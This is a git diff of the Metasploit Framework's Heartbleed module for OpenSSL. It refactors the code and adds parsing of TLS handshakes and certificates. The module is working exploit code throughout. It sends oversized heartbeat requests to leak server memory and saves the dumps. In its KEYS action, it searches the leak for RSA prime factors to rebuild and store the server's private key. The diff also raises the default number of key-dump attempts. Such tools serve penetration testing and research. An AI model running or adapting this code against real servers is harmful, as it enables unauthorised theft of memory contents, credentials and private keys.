diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index a5d6db0841..4109ff847d 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -3,6 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests. +# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300 +# but there were too many errors +# TODO: Parse the rest of the server responses and return a hash with the data +# TODO: Extract the relevant functions and include them in the framework + require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary 0x00ff # Unknown ] - HANDSHAKE_RECORD_TYPE = 0x16 - HEARTBEAT_RECORD_TYPE = 0x18 - ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_RECORD_TYPE = 0x16 + HEARTBEAT_RECORD_TYPE = 0x18 + ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_SERVER_HELLO_TYPE = 0x02 + HANDSHAKE_CERTIFICATE_TYPE = 0x0b + HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c + HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e + + TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, @@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(443), OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), - OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]), + OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) @@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), - OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ]) + OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) ], self.class) end + def peer + "#{rhost}:#{rport}" + end + + # + # Main methods + # + + # Called when using check def check_host(ip) @check_only = true vprint_status "#{peer} - Checking for Heartbleed exposure" @@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary end end + # Main method def run if heartbeat_length > 65535 || heartbeat_length < 0 - print_error("HEARTBEAT_LENGTH should be a natural number less than 65536") + print_error('HEARTBEAT_LENGTH should be a natural number less than 65536') return end if response_timeout < 0 - print_error("RESPONSE_TIMEOUT should be bigger than 0") + print_error('RESPONSE_TIMEOUT should be bigger than 0') return end super end + # Main method + def run_host(ip) + # initial connect to get public key and stuff + connect_result = establish_connect + disconnect + return if connect_result.nil? + + case action.name + when 'SCAN' + loot_and_report(bleed) + when 'DUMP' + loot_and_report(bleed) # Scan & Dump are similar, scan() records results + when 'KEYS' + getkeys + else + #Shouldn't get here, since Action is Enum + print_error("Unknown Action: #{action.name}") + end + + # ensure all connections are closed + disconnect + end + + # + # DATASTORE values + # + # If this is merely a check, set to the RFC-defined # maximum padding length of 2^14. See: # https://tools.ietf.org/html/rfc6520#section-4 @@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary if @check_only SAFE_CHECK_MAX_RECORD_LENGTH else - datastore["HEARTBEAT_LENGTH"] + datastore['HEARTBEAT_LENGTH'] end end - def peer - "#{rhost}:#{rport}" - end - def response_timeout datastore['RESPONSE_TIMEOUT'] end + def tls_version + datastore['TLS_VERSION'] + end + + def dumpfilter + datastore['DUMPFILTER'] + end + + def max_keytries + datastore['MAX_KEYTRIES'] + end + + def xmpp_domain + datastore['XMPPDOMAIN'] + end + + def status_every + datastore['STATUS_EVERY'] + end + + def tls_callback + datastore['TLS_CALLBACK'] + end + + # + # TLS Callbacks + # + def tls_smtp # https://tools.ietf.org/html/rfc3207 - sock.get_once(-1, response_timeout) + get_data sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/ return nil end sock.put("STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_imap # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("a001 CAPABILITY\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/i return nil end sock.put("a002 STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_postgres # postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3 # http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html - sock.get_once + get_data # the postgres SSLRequest packet is a int32(8) followed by a int16(1234), # int16(5679) in network format psql_sslrequest = [8].pack('N') psql_sslrequest << [1234, 5679].pack('n*') sock.put(psql_sslrequest) - res = sock.get_once + res = get_data unless res && res =~ /S/ return nil end @@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary def tls_pop3 # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("CAPA\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ || res !~ /STLS/ return nil end sock.put("STLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ return nil end @@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary end def tls_jabber - sock.put(jabber_connect_msg(datastore['XMPPDOMAIN'])) + sock.put(jabber_connect_msg(xmpp_domain)) res = sock.get(response_timeout) if res && res.include?('host-unknown') jabber_host = res.match(/ from='([\w.]*)' /) if jabber_host && jabber_host[1] disconnect - connect + establish_connect vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...") sock.put(jabber_connect_msg(jabber_host[1])) res = sock.get(response_timeout) @@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary res = sock.get(response_timeout) return nil if res.nil? sock.put("AUTH TLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data return nil if res.nil? if res !~ /^234/ # res contains the error message @@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary res end - def run_host(ip) - case action.name - when 'SCAN' - loot_and_report(bleed) - when 'DUMP' - loot_and_report(bleed) # Scan & Dump are similar, scan() records results - when 'KEYS' - getkeys() - else - #Shouldn't get here, since Action is Enum - print_error("Unknown Action: #{action.name}") - return + # + # Helper Methods + # + + # Get data from the socket + # this ensures the requested length is read (if available) + def get_data(length = -1) + + return sock.get_once(-1, response_timeout) if length == -1 + + to_receive = length + data = '' + while to_receive > 0 + temp = sock.get_once(to_receive, response_timeout) + break if temp.nil? + + data << temp + to_receive -= temp.length end + data end + def to_hex_string(data) + data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip + end + + # establishes a connect and parses the server response + def establish_connect + connect + + unless tls_callback == 'None' + vprint_status("#{peer} - Trying to start SSL via #{tls_callback}") + res = self.send(TLS_CALLBACKS[tls_callback]) + if res.nil? + vprint_error("#{peer} - STARTTLS failed...") + return nil + end + end + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + + server_hello = sock.get(response_timeout) + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + return nil + end + + server_resp_parsed = parse_ssl_record(server_hello) + + if server_resp_parsed.nil? + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + server_resp_parsed + end + + # Generates a heartbeat request + def heartbeat_request(length) + payload = "\x01" # Heartbeat Message Type: Request (1) + payload << [length].pack('n') # Payload Length: 65535 + + ssl_record(HEARTBEAT_RECORD_TYPE, payload) + end + + # Generates, sends and receives a heartbeat message def bleed - # This actually performs the heartbleed portion connect_result = establish_connect return if connect_result.nil? vprint_status("#{peer} - Sending Heartbeat...") - sock.put(heartbeat(heartbeat_length)) - hdr = sock.get_once(5, response_timeout) - if hdr.blank? + sock.put(heartbeat_request(heartbeat_length)) + hdr = get_data(5) + if hdr.nil? || hdr.empty? vprint_error("#{peer} - No Heartbeat response...") + disconnect return end @@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary # try to get the TLS error if type == ALERT_RECORD_TYPE - res = sock.get_once(len, response_timeout) + res = get_data(len) alert_unp = res.unpack('CC') alert_level = alert_unp[0] alert_desc = alert_unp[1] - msg = "Unknown error" + # http://tools.ietf.org/html/rfc5246#section-7.2 case alert_desc when 0x46 - msg = "Protocol error. Looks like the chosen protocol is not supported." + msg = 'Protocol error. Looks like the chosen protocol is not supported.' + else + msg = 'Unknown error' end vprint_error("#{peer} - #{msg}") disconnect return end - unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']] - vprint_error("#{peer} - Unexpected Heartbeat response") + unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version] + vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})") disconnect return end - heartbeat_data = sock.get(heartbeat_length) # Read the magic length... + heartbeat_data = get_data(heartbeat_length) vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes") disconnect heartbeat_data end + # Stores received data def loot_and_report(heartbeat_data) unless heartbeat_data @@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary }) if action.name == 'DUMP' # Check mode, dump if requested. - pattern = datastore['DUMPFILTER'] + pattern = dumpfilter if pattern match_data = heartbeat_data.scan(pattern).join else match_data = heartbeat_data end path = store_loot( - "openssl.heartbleed.server", - "application/octet-stream", + 'openssl.heartbleed.server', + 'application/octet-stream', rhost, match_data, nil, - "OpenSSL Heartbleed server memory" + 'OpenSSL Heartbleed server memory' ) print_status("#{peer} - Heartbeat data stored in #{path}") end @@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary end - def getkeys() - unless datastore['TLS_CALLBACK'] == 'None' - print_error('TLS callbacks currently unsupported for keydumping action') #TODO - return - end + # + # Keydumoing helper methods + # + # Tries to retreive the private key + def getkeys print_status("#{peer} - Scanning for private keys") count = 0 @@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - e: #{e}") print_status("#{peer} - #{Time.now.getutc} - Starting.") - datastore['MAX_KEYTRIES'].times { + max_keytries.times { # Loop up to MAX_KEYTRIES times, looking for keys - if count % datastore['STATUS_EVERY'] == 0 + if count % status_every == 0 print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...") end - p, q = get_factors(bleed, n) # Try to find factors in mem + bleedresult = bleed + return unless bleedresult + + p, q = get_factors(bleedresult, n) # Try to find factors in mem unless p.nil? || q.nil? key = key_from_pqe(p, q, e) @@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary print_status(key.export) path = store_loot( - "openssl.heartbleed.server", - "text/plain", + 'openssl.heartbleed.server', + 'text/plain', rhost, key.export, nil, - "OpenSSL Heartbleed Private Key" + 'OpenSSL Heartbleed Private Key' ) print_status("#{peer} - Private key stored in #{path}") return end count += 1 } - print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.") + print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.") end - def heartbeat(length) - payload = "\x01" # Heartbeat Message Type: Request (1) - payload << [length].pack("n") # Payload Length: 65535 - - ssl_record(HEARTBEAT_RECORD_TYPE, payload) - end - - def client_hello - # Use current day for TLS time - time_temp = Time.now - time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i - - hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS - hello_data << [time_epoch].pack("N") # Time in epoch format - hello_data << Rex::Text.rand_text(28) # Random - hello_data << "\x00" # Session ID length - hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) - hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites - hello_data << "\x01" # Compression methods length (1) - hello_data << "\x00" # Compression methods: null - - hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) - hello_data_extensions << "\x00\x01" # Extension length - hello_data_extensions << "\x01" # Extension data - - hello_data << [hello_data_extensions.length].pack("n") - hello_data << hello_data_extensions - - data = "\x01\x00" # Handshake Type: Client Hello (1) - data << [hello_data.length].pack("n") # Length - data << hello_data - - ssl_record(HANDSHAKE_RECORD_TYPE, data) - end - - def ssl_record(type, data) - record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') - record << data - end - - def get_ne() - # Fetch rhost's cert, return public key values - connect(true, {"SSL" => true}) #Force SSL - cert = OpenSSL::X509::Certificate.new(sock.peer_cert) - disconnect - - unless cert + # Returns the N and E params from the public server certificate + def get_ne + unless @cert print_error("#{peer} - No certificate found") return end - return cert.public_key.params["n"], cert.public_key.params["e"] + return @cert.public_key.params['n'], @cert.public_key.params['e'] end + # Tries to find pieces of the private key in the provided data def get_factors(data, n) # Walk through data looking for factors of n psize = n.num_bits / 8 / 2 @@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary return p, q end end - } + } return nil, nil end - def establish_connect - connect - - unless datastore['TLS_CALLBACK'] == 'None' - vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}") - res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']]) - if res.nil? - vprint_error("#{peer} - STARTTLS failed...") - return nil - end - end - - vprint_status("#{peer} - Sending Client Hello...") - sock.put(client_hello) - - server_hello = sock.get(response_timeout) - unless server_hello - vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") - disconnect - return nil - end - - unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE - vprint_error("#{peer} - Server Hello Not Found") - return nil - end - - true - end - + # Generates the private key from the P, Q and E values def key_from_pqe(p, q, e) # Returns an RSA Private Key from Factors key = OpenSSL::PKey::RSA.new() @@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary return key end -end + # + # SSL/TLS packet methods + # + # Creates and returns a new SSL record with the provided data + def ssl_record(type, data) + record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn') + record << data + end + + # generates a CLIENT_HELLO ssl/tls packet + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS + hello_data << [time_epoch].pack('N') # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) + hello_data_extensions << "\x00\x01" # Extension length + hello_data_extensions << "\x01" # Extension data + + hello_data << [hello_data_extensions.length].pack('n') + hello_data << hello_data_extensions + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack('n') # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + # Parse SSL header + def parse_ssl_record(data) + ssl_records = [] + remaining_data = data + ssl_record_counter = 0 + while remaining_data && remaining_data.length > 0 + ssl_record_counter += 1 + ssl_unpacked = remaining_data.unpack('CH4n') + return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 + ssl_type = ssl_unpacked[0] + ssl_version = ssl_unpacked[1] + ssl_len = ssl_unpacked[2] + vprint_debug("SSL record ##{ssl_record_counter}:") + vprint_debug("\tType: #{ssl_type}") + vprint_debug("\tVersion: 0x#{ssl_version}") + vprint_debug("\tLength: #{ssl_len}") + if ssl_type != HANDSHAKE_RECORD_TYPE + vprint_debug("\tWrong Record Type! (#{ssl_type})") + else + ssl_data = remaining_data[5, ssl_len] + handshakes = parse_handshakes(ssl_data) + ssl_records << { + :type => ssl_type, + :version => ssl_version, + :length => ssl_len, + :data => handshakes + } + end + remaining_data = remaining_data[(ssl_len + 5)..-1] + end + + ssl_records + end + + # Parse Handshake data returned from servers + def parse_handshakes(data) + # Can contain multiple handshakes + remaining_data = data + handshakes = [] + handshake_count = 0 + while remaining_data && remaining_data.length > 0 + hs_unpacked = remaining_data.unpack('CCn') + next if hs_unpacked.nil? or hs_unpacked.length < 3 + hs_type = hs_unpacked[0] + hs_len_pad = hs_unpacked[1] + hs_len = hs_unpacked[2] + hs_data = remaining_data[4, hs_len] + handshake_count += 1 + vprint_debug("\tHandshake ##{handshake_count}:") + vprint_debug("\t\tLength: #{hs_len}") + + handshake_parsed = nil + case hs_type + when HANDSHAKE_SERVER_HELLO_TYPE + vprint_debug("\t\tType: Server Hello (#{hs_type})") + handshake_parsed = parse_server_hello(hs_data) + when HANDSHAKE_CERTIFICATE_TYPE + vprint_debug("\t\tType: Certificate Data (#{hs_type})") + handshake_parsed = parse_certificate_data(hs_data) + when HANDSHAKE_KEY_EXCHANGE_TYPE + vprint_debug("\t\tType: Server Key Exchange (#{hs_type})") + # handshake_parsed = parse_server_key_exchange(hs_data) + when HANDSHAKE_SERVER_HELLO_DONE_TYPE + vprint_debug("\t\tType: Server Hello Done (#{hs_type})") + else + vprint_debug("\t\tType: Handshake type #{hs_type} not implemented") + end + + handshakes << { + :type => hs_type, + :len => hs_len, + :data => handshake_parsed + } + remaining_data = remaining_data[(hs_len + 4)..-1] + end + + handshakes + end + + # Parse Server Hello message + def parse_server_hello(data) + version = data.unpack('H4')[0] + vprint_debug("\t\tServer Hello Version: 0x#{version}") + random = data[2,32].unpack('H*')[0] + vprint_debug("\t\tServer Hello random data: #{random}") + session_id_length = data[34,1].unpack('C')[0] + vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}") + session_id = data[35,session_id_length].unpack('H*')[0] + vprint_debug("\t\tServer Hello Session ID: #{session_id}") + # TODO Read the rest of the server hello (respect message length) + + # TODO: return hash with data + true + end + + # Parse certificate data + def parse_certificate_data(data) + # get certificate data length + unpacked = data.unpack('Cn') + cert_len_padding = unpacked[0] + cert_len = unpacked[1] + vprint_debug("\t\tCertificates length: #{cert_len}") + # contains multiple certs + already_read = 3 + cert_counter = 0 + while already_read < cert_len + start = already_read + cert_counter += 1 + # get single certificate length + single_cert_unpacked = data[start, 3].unpack('Cn') + single_cert_len_padding = single_cert_unpacked[0] + single_cert_len = single_cert_unpacked[1] + vprint_debug("\t\tCertificate ##{cert_counter}:") + vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") + certificate_data = data[(start + 3), single_cert_len] + cert = OpenSSL::X509::Certificate.new(certificate_data) + # First received certificate is the one from the server + @cert = cert if @cert.nil? + #vprint_debug("Got certificate: #{cert.to_text}") + vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") + already_read = already_read + single_cert_len + 3 + end + + # TODO: return hash with data + true + end + +end